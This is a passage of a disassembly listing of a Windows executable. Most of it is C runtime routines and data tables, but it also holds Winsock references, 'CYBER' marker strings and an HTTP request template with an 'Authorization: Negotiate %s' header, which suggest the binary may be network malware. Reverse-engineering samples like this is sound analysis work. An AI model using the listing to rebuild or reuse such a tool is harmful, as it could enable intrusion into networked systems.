		push	[ebp+arg_18]
		nop
		call	near ptr 2801154h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801154h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2600797h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2801154h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2801154h
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600797h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E05C1h, 25F0000h, 25F0AA8h
		dd 25F0B4Fh, 25F0EEFh, 2600000h, 2600797h, 2610000h, 26104FBh
		dd 2610739h, 2610D74h, 2610F9Bh
dword_42703C	dd 2620000h		; DATA XREF: ___:004231D9r
; ---------------------------------------------------------------------------
		retf	6200h
; ---------------------------------------------------------------------------
		db 2
		dd 26202C5h, 26202ECh, 26203B1h, 2630000h, 2640000h, 2650000h
		dd 265030Dh, 2650782h, 77E75CB5h
dword_427068	dd 26507ADh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650A41h, 2660000h, 2660A7Ah
dword_427078	dd 2660F2Bh		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670000h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 267025Ch
dword_427084	dd 2670358h		; DATA XREF: sub_4196BC+B9r
		dd 26709B6h
dword_42708C	dd 26709FBh		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2670A45h		; DATA XREF: ___:loc_4013DCr
		dd 2670D76h, 2670ECEh
dword_42709C	dd 2680000h		; DATA XREF: sub_409B12+2r
		dd 2680110h, 2680163h
dword_4270A8	dd 26807BDh		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 268082Dh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690D75h
dword_4270B8	dd 26A0000h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A02FCh		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C047Ah, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D05D2h, 26D0771h, 26E0000h, 26E0876h
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F0876h		; DATA XREF: sub_418293+36r
		dd 26F0B1Dh, 2700000h
dword_4270F8	dd 27005A3h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2711398h, 2720000h, 2730000h, 27303E7h, 2740000h, 27405D5h
		dd 2750000h, 2760000h, 2760BDCh, 2760EA5h, 2770000h, 27700F5h
		dd 27709A8h, 2770C07h, 2780000h
dword_42713C	dd 278027Eh		; DATA XREF: sub_416F1A+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27A0C4Bh		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27A0CB8h
dword_427150	dd 27B0000h		; DATA XREF: sub_417275+56r
		dd 27B0219h, 27C0000h, 27D0000h, 27D06CEh, 27D0CE3h, 27E0000h
		dd 27E016Ch, 27E083Fh, 27F0000h, 2800000h
dword_42717C	dd 2801154h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2810000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2820000h, 2820497h, 2820910h, 2820BD8h, 2830000h, 2840000h
		dd 2850000h, 2860000h, 2870000h, 2880000h, 2881B53h, 2881B8Bh
		dd 2890000h, 2891016h, 28911A8h
dword_4271C0	dd 289177Ah		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28918FDh		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28A0000h, 28A0627h, 28A0CD5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
